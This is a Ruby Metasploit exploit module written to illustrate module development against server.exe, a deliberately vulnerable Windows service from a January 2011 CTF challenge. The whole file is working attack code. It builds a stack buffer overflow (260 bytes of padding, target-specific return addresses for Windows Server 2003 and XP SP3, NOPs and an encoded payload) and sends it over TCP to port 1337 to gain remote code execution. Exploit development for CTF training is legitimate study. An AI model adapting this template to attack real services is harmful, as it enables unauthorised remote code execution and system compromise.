##
# $Id: $
##

##
# This file was developed to illustrate the creation of a Metasploit
# module exploiting a specially crafted Windows service.
# See:
# http://novactf.org/challenges/challenge-january-2011/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Server.exe Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow 
					in NoVA Hackers Janusary 2011 CTF 
					server.exe
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'Mooky, Hakuza',
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'URL', 'http://novactf.org/challenges/challenge-january-2011/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1780, # we will use 4 bytes for NOPS
					'BadChars' => "\x00",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Server 2003 English',   { 'Ret' => 0x77c6afee } ],
					[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7c8369f0 } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Feb 19 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(1337)
			], self.class)
	end

	def exploit
		connect

		buffer = "A" * 260
		buffer << [target.ret].pack('V')
		buffer << make_nops(4)
		buffer << payload.encode

		print_status("Trying target #{target.name}...")

		sock.put( buffer )

		handler
		disconnect
	end

end